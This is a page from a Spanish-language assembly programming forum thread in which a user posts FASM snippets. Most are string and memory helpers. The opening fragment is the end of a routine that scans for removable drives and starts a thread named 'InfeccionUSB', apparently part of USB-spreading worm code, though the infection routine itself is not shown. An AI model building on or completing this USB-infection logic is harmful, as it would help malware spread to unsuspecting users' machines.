  69. invoke CreateThread , 0, 0,InfeccionUSB,0,0 , 0
  70. invoke ExitThread,0
  71. .else
  72. add ebx,4
  73. jmp      .bucleDetectaExtraible
  74. .endif
  75. endp
Código
  1. proc Concat uses esi edi, @AdrSrc1, @AdrSrc2, @AdrDest
  2.    mov esi,[@AdrSrc1]
  3.    mov edi,[@AdrDest]
  4.  
  5. .concat_src1:
  6.    movsb
  7.    cmp byte[esi],0
  8.    jne .concat_src1
  9.  
  10.    mov esi,[@AdrSrc2]
  11.  
  12. .concat_src2:
  13.    movsb
  14.    cmp byte[esi],0
  15.    jne .concat_src2
  16.  
  17.    movsb
  18.  
  19.    ret
  20. endp
  21.  
  22. proc ConseguirNombre,ruta ;Funcion que devuelve el nombrer de el archivo.
  23. push ebx
  24. xor ebx,ebx
  25. mov ebx,[ruta]
  26. stdcall len,[ruta]
  27. add ebx,eax
  28. @@:
  29. dec ebx
  30. cmp byte[ebx],5Ch
  31. jne @b
  32. inc ebx
  33. mov eax,ebx
  34. pop ebx
  35. ret
  36. endp  
  37.  
  38. proc Zerar,Puntero,Cantidad
  39.  
  40.    push ecx
  41.    push ebx
  42.  
  43.              mov ecx,[Cantidad]
  44.                 mov ebx,[Puntero]
  45.                .bucle:
  46.  
  47.                mov byte[ebx+ecx],0
  48.                loop .bucle
  49.                mov byte[ebx],0
  50.                pop ebx
  51.                pop ecx
  52.                ret
  53. endp    
  54.  
449  Programación / ASM / Re: Recopilación de mis codigos. en: 1 Junio 2009, 00:31 am
Código
  1. ;Descripcion: Esta función funciona igual que la winapi RtlMoveMemory
  2. ; by YST
  3. proc cRtlMoveMemory,cBuffer,Cpuntero,cCantidad
  4. push esi edi
  5. xchg edi,[cBuffer]
  6. xchg esi,[Cpuntero]
  7. .bucleb:
  8. dec [cCantidad]
  9. movsb
  10. cmp  [cCantidad],0
  11. jge .bucleb
  12. pop edi esi
  13. ret
  14. endp
450  Programación / ASM / Re: Recopilación de mis codigos. en: 1 Junio 2009, 00:28 am
Código
  1. proc ConcatenarUnicode,cCadena1,cCadena2,cBuffer
  2. push esi edi
  3.    mov edi,[cBuffer]
  4.    mov esi,[cCadena1]
  5.  
  6. .bucle1:
  7.    movsb
  8.    cmp word[esi],0
  9.    jne  .bucle1
  10.  
  11.       inc edi
  12.        mov esi,[cCadena2]
  13. .bucle2:
  14.    movsb
  15.    cmp word[esi],0
  16.    jne  .bucle2
  17.    pop edi esi
  18. ret
  19. endp
  20.  
Páginas: 1 ... 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 [45] 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 ... 68
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines